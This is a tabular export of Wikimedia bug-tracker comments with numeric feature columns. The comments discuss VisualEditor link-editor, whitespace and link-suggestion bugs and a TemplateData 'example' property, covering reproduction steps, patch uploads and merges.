251254,VisualEditor: Link editor requires ENTER for input,This is now merged and will be deployed later.,,,1375304913,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-oh3fg6fot6uziw3ctbqu,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,This is now merged and will be deployed later.
251247,VisualEditor: Link editor requires ENTER for input,"Change 76839 merged by jenkins-bot:
Link inspector bug fixes

https://gerrit.wikimedia.org/r/76839",,,1375304088,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oh3fg6fot6uziw3ctbqu,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"Change 76839 merged by jenkins-bot:
Link inspector bug fixes

GERRIT_URL"
251241,VisualEditor: Link editor requires ENTER for input,"Change 76839 had a related patch set uploaded by Trevor Parscal:
The greatest commit in the history of the world*

https://gerrit.wikimedia.org/r/76839",,,1375222014,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-oh3fg6fot6uziw3ctbqu,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,20.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.28,0.96,"Change 76839 had a related patch set uploaded by Trevor Parscal:
The greatest commit in the history of the world*

GERRIT_URL"
251236,VisualEditor: Link editor requires ENTER for input,"OK, my apologies.  I can reproduce with those steps.

Bug 48789 looks more like a UI design 'enhancement', whereas this bug is a simple bugfix for the current design.",,,1374530988,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-oh3fg6fot6uziw3ctbqu,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,3.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,11.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,5.0,11.0,3.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,3.6578947368421053,0.8421052631578947,"OK, my apologies.  I can reproduce with those steps.

Bug 48789 looks more like a UI design 'enhancement', whereas this bug is a simple bugfix for the current design."
251230,VisualEditor: Link editor requires ENTER for input,Is this the same thing as bug 48789?,,,1374519470,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-oh3fg6fot6uziw3ctbqu,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2222222222222223,1.0,Is this the same thing as bug 48789?
251222,VisualEditor: Link editor requires ENTER for input,"
It is reproducible, let me show an example: 

Assume that the first word on a page to be edited is ""ThisIsALinkToGoogle"" (no quotes) 

Open the page to be edited and without doing anything else to the page, click the Link icon.  The Link dialog shows ThisIsALinkToGoogle highlighted and entered automatically in the text field input. 

In the input field, replace ThisIsALinkToGoogle by typing ""http://www.google.com""

When you finish typing, just click the left-arrow icon to close the Link dialog and (ostensibly) save what you have typed into the text field. 

Do the Save page/Review your changes dance. 

In the diff and in the saved page you will see 	
[[ThisIsALinkToGoogle]] which is not helpful.  

What I would expect to see is your typing preserved in a link like [http://www.google.com ThisIsALinkToGoogle]",,,1373905446,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-oh3fg6fot6uziw3ctbqu,task_subcomment,,True,c1,3,False,,,2,,0.0,0.5,0.0,1.0,0.5,2.0,1.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.5,9.0,0.5,2.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,4.5,3.5,0.5,0.0,3.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,16.0,0.0,0.0,2.0,0.5,0.0,0.5,0.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,12.0,1.0,2.0,10.0,0.0,0.0,0.0,0.0,8.5,0.0,0.0,0.0,4.5,9.0,4.0,0.0,1.5,0.0,4.5,0.0,2.5,1.5,0.5,1.5,0.0,0.0,2.0,3.9746547164266826,0.7092271525124889,"
It is reproducible, let me show an example: 

Assume that the first word on a page to be edited is ""ThisIsALinkToGoogle"" (no quotes) 

Open the page to be edited and without doing anything else to the page, click the Link icon.  The Link dialog shows ThisIsALinkToGoogle highlighted and entered automatically in the text field input. 

In the input field, replace ThisIsALinkToGoogle by typing ""URL

When you finish typing, just click the left-arrow icon to close the Link dialog and (ostensibly) save what you have typed into the text field. 

Do the Save page/Review your changes dance. 

In the diff and in the saved page you will see 	
[[ThisIsALinkToGoogle]] which is not helpful.  

What I would expect to see is your typing preserved in a link like [URL ThisIsALinkToGoogle]"
251215,VisualEditor: Link editor requires ENTER for input,"Is this still reproducible?  I tried it, and the diff was empty, but maybe I'm not following the instructions correctly.",,,1373757918,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-oh3fg6fot6uziw3ctbqu,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,12.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.8846153846153846,0.8846153846153846,"Is this still reproducible?  I tried it, and the diff was empty, but maybe I'm not following the instructions correctly."
53056,"VisualEditor: Don't let the user enter multiple consecutive spaces (except in preformatted blocks), because that's not how HTML works","Thread is at https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=563553593#Consecutive_spaces - I can't explain it any better than the user has :).

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1373394900,,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-4phtoxaof6zm4vyraue4,task_description,open,True,c1,3,False,False,,1,,3.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,14.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.5,0.75,"Thread is at URL - I can't explain it any better than the user has :).

--------------------------
**Version**: unspecified
**Severity**: minor"
250484,"VisualEditor: Don't let the user enter multiple consecutive spaces (except in preformatted blocks), because that's not how HTML works",This is going to be a pain to get the user interaction pattern right.,,,1402590995,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-4phtoxaof6zm4vyraue4,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,7.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,3.7333333333333334,0.9333333333333333,This is going to be a pain to get the user interaction pattern right.
250476,"VisualEditor: Don't let the user enter multiple consecutive spaces (except in preformatted blocks), because that's not how HTML works","This was reported as an enhancement, but because it causes content (i.e. consecutive spaces) to display and behave differently in the edit window than in the view window, I think it is more appropriate to regard it as a bug.  Accordingly, I am upgrading this from ""enhancement"" to ""minor"".",,,1373428513,,PHID-USER-fuj45iylbizjg3yhehjt,False,,,PHID-TASK-4phtoxaof6zm4vyraue4,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,2.0,0.0,5.0,2.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,16.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,5.0,7.0,2.0,3.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,8.0,16.0,0.0,0.0,7.0,0.0,8.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,2.0,3.9508196721311477,0.7377049180327869,"This was reported as an enhancement, but because it causes content (i.e. consecutive spaces) to display and behave differently in the edit window than in the view window, I think it is more appropriate to regard it as a bug.  Accordingly, I am upgrading this from ""enhancement"" to ""minor""."
53049,"TemplateData: Provide property ""example"" for template parameters","From
https://www.mediawiki.org/wiki/Thread:VisualEditor/Feedback/About_TemplateData

'(...) would it be possible to add new parameter ""example"" (where is example text what should be added to the parameter) in addition ""label"", ""description"", ""type"" and ""required""?'

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1373390040,1427404340.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-dhlp7wsucyat5r5hizgn,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,12.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,4.0,6.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,6.0,1.0,1.0,17.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4782608695652173,0.5942028985507246,"From
URL

'(...) would it be possible to add new parameter ""example"" (where is example text what should be added to the parameter) in addition ""label"", ""description"", ""type"" and ""required""?'

--------------------------
**Version**: unspecified
**Severity**: enhancement"
450809,"TemplateData: Provide property ""example"" for template parameters","Change 207123 merged by jenkins-bot:
Add example property to HTML rendering

[[https://gerrit.wikimedia.org/r/207123]]",,,1430268574,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dhlp7wsucyat5r5hizgn,task_subcomment,,True,c1,3,False,,,95,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,3.9047619047619047,0.9047619047619048,"Change 207123 merged by jenkins-bot:
Add example property to HTML rendering

[[GERRIT_URL]]"
450353,"TemplateData: Provide property ""example"" for template parameters","Change 207123 had a related patch set uploaded (by Krinkle):
Add example property to HTML rendering

[[https://gerrit.wikimedia.org/r/207123]]
",,,1430236097,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dhlp7wsucyat5r5hizgn,task_subcomment,,True,c1,3,False,,,95,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,3.923076923076923,0.8846153846153846,"Change 207123 had a related patch set uploaded (by Krinkle):
Add example property to HTML rendering

[[GERRIT_URL]]
"
443724,"TemplateData: Provide property ""example"" for template parameters",Checked in betalabs - 'Example (en)' was added to Template documentation editor.,,,1429042468,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-dhlp7wsucyat5r5hizgn,task_subcomment,,True,c1,3,True,,,93,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,18.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0588235294117645,0.9411764705882353,Checked in betalabs - 'Example (en)' was added to Template documentation editor.
441962,"TemplateData: Provide property ""example"" for template parameters","Change 194386 merged by jenkins-bot:
Add an example property to parameters

[[https://gerrit.wikimedia.org/r/194386]]",,,1428684541,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dhlp7wsucyat5r5hizgn,task_subcomment,,True,c1,3,False,,,92,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,3.857142857142857,0.9047619047619048,"Change 194386 merged by jenkins-bot:
Add an example property to parameters

[[GERRIT_URL]]"
428516,"TemplateData: Provide property ""example"" for template parameters","The feature support in MWParameterPage is a bit presumptuous as the exact definition and property name are still being reviewed upstream in TemplateData.

Anyway, this feature seems useful, but I'd like to be more explicit about at least one use case before we land it. The talk thread that requests it didn't seem to note anything about the existing properties `description`, `default`  and `autofill` which currently cover the use case of showing what a field is for and what kind of value it should have.

I take it it will be used as placeholder in a user interface. However in VisualEditor the `default` is currently also displayed in the `placeholder` attribute. And the (already merged) conditional implementation of that does indeed ignore the `example` value if there is a `default`. And it seems there is no difference communicated to the user visually to distinguish example from default.

If the user won't be able to tell the difference, can authors?

I feel like the feature would be useful, but it is imho not sufficiently clear in its specification, implementation and current use in VisualEditor to offset it from the other existing features. And I imagine this will lead to confusion or incorrect usage by authors and users.",,,1426695980,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-dhlp7wsucyat5r5hizgn,task_subcomment,,True,c1,3,True,,,89,,0.0,0.3333333333333333,0.0,1.0,1.3333333333333333,4.666666666666667,2.3333333333333335,0.0,0.0,0.6666666666666666,3.6666666666666665,1.0,0.0,0.0,0.6666666666666666,2.0,0.0,6.0,11.0,0.3333333333333333,2.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,0.0,5.666666666666667,1.6666666666666667,3.3333333333333335,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,2.0,0.0,1.0,0.0,0.3333333333333333,0.0,14.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,6.333333333333333,4.333333333333333,8.0,0.6666666666666666,4.0,8.666666666666666,0.0,0.0,0.0,0.0,5.0,0.0,0.3333333333333333,0.0,5.0,11.0,2.3333333333333335,0.3333333333333333,0.0,0.0,5.0,0.0,1.3333333333333333,1.3333333333333333,0.0,1.0,0.3333333333333333,0.3333333333333333,0.0,4.296869796869797,0.741092241092241,"The feature support in MWParameterPage is a bit presumptuous as the exact definition and property name are still being reviewed upstream in TemplateData.

Anyway, this feature seems useful, but I'd like to be more explicit about at least one use case before we land it. The talk thread that requests it didn't seem to note anything about the existing properties CODE, CODE  and CODE which currently cover the use case of showing what a field is for and what kind of value it should have.

I take it it will be used as placeholder in a user interface. However in VisualEditor the CODE is currently also displayed in the CODE attribute. And the (already merged) conditional implementation of that does indeed ignore the CODE value if there is a CODE. And it seems there is no difference communicated to the user visually to distinguish example from default.

If the user won't be able to tell the difference, can authors?

I feel like the feature would be useful, but it is imho not sufficiently clear in its specification, implementation and current use in VisualEditor to offset it from the other existing features. And I imagine this will lead to confusion or incorrect usage by authors and users."
423419,"TemplateData: Provide property ""example"" for template parameters","Change 194416 merged by jenkins-bot:
MWParameterPage: Show the field's example if it exists

[[https://gerrit.wikimedia.org/r/194416]]",,,1425936869,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dhlp7wsucyat5r5hizgn,task_subcomment,,True,c1,3,False,,,88,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.84,0.88,"Change 194416 merged by jenkins-bot:
MWParameterPage: Show the field's example if it exists

[[GERRIT_URL]]"
421136,"TemplateData: Provide property ""example"" for template parameters","Change 194416 had a related patch set uploaded (by Mooeypoo):
Show the field's example if it exists

[[https://gerrit.wikimedia.org/r/194416]]
",,,1425512054,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dhlp7wsucyat5r5hizgn,task_subcomment,,True,c1,3,False,,,87,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.607142857142857,0.8928571428571429,"Change 194416 had a related patch set uploaded (by Mooeypoo):
Show the field's example if it exists

[[GERRIT_URL]]
"
420993,"TemplateData: Provide property ""example"" for template parameters","Change 194386 had a related patch set uploaded (by Mooeypoo):
Add an example property to parameters

[[https://gerrit.wikimedia.org/r/194386]]
",,,1425501224,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dhlp7wsucyat5r5hizgn,task_subcomment,,True,c1,3,False,,,87,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,3.923076923076923,0.8846153846153846,"Change 194386 had a related patch set uploaded (by Mooeypoo):
Add an example property to parameters

[[GERRIT_URL]]
"
250162,"TemplateData: Provide property ""example"" for template parameters",Any progress?,,,1393353167,,PHID-USER-6majuboi566q3ozbh27r,False,,,PHID-TASK-dhlp7wsucyat5r5hizgn,task_subcomment,,True,c1,3,False,,,34,,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Any progress?
53013,VisualEditor: OpenSearch results aren't perfect for checking for page existence,"Unpopular pages with short titles, e.g. [[Sop]], [[Topo]], do not appear in the top 10 opensearch suggestions, so VE thinks the pages don't exist. However, they definitely do exist.

This, along with bug 50898, suggests that the VE team might need to implement its own wrapper web API for link suggestions.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54361",Medium,50.0,1373356200,1412977342.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-hqedrd262jmefrbeu2zs,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,2.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,13.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,8.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.5454545454545454,0.5959595959595959,"Unpopular pages with short titles, e.g. [[Sop]], [[Topo]], do not appear in the top 10 opensearch suggestions, so VE thinks the pages don't exist. However, they definitely do exist.

This, along with bug 50898, suggests that the VE team might need to implement its own wrapper web API for link suggestions.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
